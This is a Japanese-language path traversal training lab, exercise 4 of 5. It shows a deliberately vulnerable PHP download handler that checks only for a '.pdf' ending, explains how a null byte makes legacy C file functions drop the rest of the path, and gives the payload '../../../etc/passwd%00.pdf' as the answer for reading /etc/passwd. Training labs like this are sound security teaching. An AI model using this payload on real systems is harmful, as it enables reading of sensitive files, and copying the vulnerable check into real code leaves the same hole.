utsuroi path traversal labs Lab 04 / 5 — Practitioner
04

拡張子チェックの回避(null バイト)

Null byte to bypass extension validation

うつろい journal のダウンロード機能は拡張子の検証を実装している:

// PHP - 末尾が .pdf であることを要求
$file = $_GET['file'];
if (!str_ends_with($file, '.pdf')) {
    abort(400, 'Only PDF files are allowed');
}
return readfile('/var/www/utsuroi/articles/' . $file);

開発者は「拡張子で絞っているから安全」と考えた。しかし、レガシーな C ベースの低レベル処理(古い PHP、組込み機器、OS のシステムコール経由)ではnull バイト(\0、URL 表記 %00)が文字列の終端として扱われる。
拡張子チェックは ...passwd%00.pdf として通過するが、ファイル読み込み関数は %00 以降を切り捨てて ...passwd を読む。

null バイト攻撃で拡張子チェックを回避し、/etc/passwd を取得してください。

クイック試行:
処理トレース
入力: (空)
↓ 拡張子チェック
↓ null バイトの解釈
↓ ファイル読み込み
(まだファイルを取得していません)
null バイト攻撃の仕組み
攻撃者が送る:  ?file=../../../etc/passwd%00.pdf

ステップ1: 拡張子チェック(高レベル)
  str_ends_with('../../../etc/passwd\\0.pdf', '.pdf') → true
  → チェック通過

ステップ2: ファイル読み込み(低レベル C 関数)
  read_file('/var/www/utsuroi/articles/../../../etc/passwd\\0.pdf')
  → C 言語の文字列処理は \\0 で終端と解釈
  → 実際に開かれるパスは '/var/www/utsuroi/articles/../../../etc/passwd'
  → /etc/passwd を読む
対象となるレガシー環境
  • PHP 5.3 以前の fopenreadfile
  • 組込み機器のファイルアクセス機能
  • 古い C/C++ で書かれた CGI
  • OS システムコールを直接呼ぶカスタムモジュール
正解(ネタバレ)

ペイロード:../../../etc/passwd%00.pdf

拡張子チェックは末尾に .pdf があるので通過するが、ファイル読み込み時に null バイト(%00)以降が切り捨てられて /etc/passwd が読み出される。